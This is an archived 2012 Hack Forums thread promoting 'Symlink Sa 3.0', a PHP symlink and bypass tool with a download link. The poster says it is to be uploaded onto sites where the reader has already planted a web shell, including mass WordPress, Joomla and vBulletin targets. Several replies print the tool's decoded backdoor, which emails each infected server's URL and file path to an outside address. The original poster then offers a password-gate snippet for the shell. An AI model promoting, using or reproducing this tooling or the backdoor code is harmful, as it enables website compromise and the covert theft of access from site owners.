Hack Forums
[NEW] Symlink Sa 3.0 - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [NEW] Symlink Sa 3.0 (/showthread.php?tid=2940658)

[NEW] Symlink Sa 3.0 - rPwnz - Oct 13, 2012

Hi,Guys Symlink Sa 3.0 is Out ! 😁

Screenshoot :
Code
https://i.imgur.com/261CG.png

What New in Symlink Sa 3.0 ?
Code
Added Symlink Bypass
Bypass Read
Mass Joomla Symlink
Mass WordPress Symlink
Mass vBulletin Symlink

Download :
Code
http://go.rianul.com/2

Hope You Love It 🤝

* - tangox - Oct 13, 2012

Any tut? You need to have shell first?

* - rPwnz - Oct 13, 2012

(Oct 13, 2012 07:30 PM)tangox Wrote:  Any tut? You need to have shell first?

Yes, First Upload Your shell ,then Upload Symlink Sa 3.0 😁

* - D4ZZL3 M1ND - Dec 4, 2012

uploaded Symlink Sa 3.0. but it's not showing anything. just empty box. what can i do now?

* - AntiPaste - Dec 4, 2012

Didn't have time to go through the entire source but it's definitely backdoored.
Decoded from lines 686 - 696.

PHP Code

<?php 
if(!strpos('www.Sh3ll.Us', $_SERVER['SERVER_NAME']))
{
$IIll1Il = '[email protected]';
$IIll1I1 = 'EGFM';
$IIll1lI = 'from: EGFM <[email protected]>';
$IIll1ll = 'Link : http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."\r\n";
$IIll1ll .= 'Path : ' .__file__;
$IIll1l1 = @mail($IIll1Il,$IIll1I1,$IIll1ll,$IIll1lI);
echo $GLOBALS['OOO0000O0']('');
exit;
} 


* - amus3d - Dec 4, 2012

Last symlink I tried deleted every file in most of the directories.

I don't trust. ¬_¬

* - Noah™ - Dec 4, 2012

looked good at first but screw dat if its backdoored, i wont even bother. good day to you sir.

* - LevelUp - Dec 4, 2012

(Dec 4, 2012 12:00 PM)AntiPaste Wrote:  Didn't have time to go through the entire source but it's definitely backdoored.
Decoded from lines 686 - 696.

PHP Code

<?php 
if(!strpos('www.Sh3ll.Us', $_SERVER['SERVER_NAME']))
{
$IIll1Il = '[email protected]';
$IIll1I1 = 'EGFM';
$IIll1lI = 'from: EGFM <[email protected]>';
$IIll1ll = 'Link : http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."\r\n";
$IIll1ll .= 'Path : ' .__file__;
$IIll1l1 = @mail($IIll1Il,$IIll1I1,$IIll1ll,$IIll1lI);
echo $GLOBALS['OOO0000O0']('');
exit;
} 

Confirmed as backdoored. Be cautious when deciding to use this!

* - PoopFeaster - Dec 4, 2012

Tut Tut.... backdooring a shell and putting it here... hoping you wouldnt get noticed.... sooo disapointed

* - Bacardi - Dec 4, 2012

Check it.

http://sec-w.com/wl4b/Wpost.php?p=179

Here ya go.

* - Jae‌ - Dec 4, 2012

(Dec 4, 2012 12:13 PM)๖ۣۜTeamSBH Wrote:  looked good at first but screw dat if its backdoored, i wont even bother. good day to you sir.

Or just look through the PHP code and remove the backdoors.

* - rvltr - Dec 4, 2012

funny, atleast one of the scripts on http://sec-w.com is backdoored as well

Code
http://sec-w.com/wl4b/Wpost.php?p=336

backdoor:
Spoiler (Click to View)

but then again KedAns-Dz is from Inj3ct0rs team, so it should be expected.

* - 133720 - Dec 7, 2012

Very like this Symlink shell :)

LO..

* - rcvrcv - Dec 7, 2012

For shame. :( You should try harder. Horrible.

* - rPwnz - Dec 9, 2012

I don't know if this shell backdoored ,im sorry

if this shell backdoored ,just put this code :
Code
<?php
$auth = 1;
$name='your username md5';
$pass='your password md5';
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
   {
   header('WWW-Authenticate: Basic realm="got neg rep"');
   header('HTTP/1.0 401 Unauthorized');
   exit("<b></b>");
   }
}
?>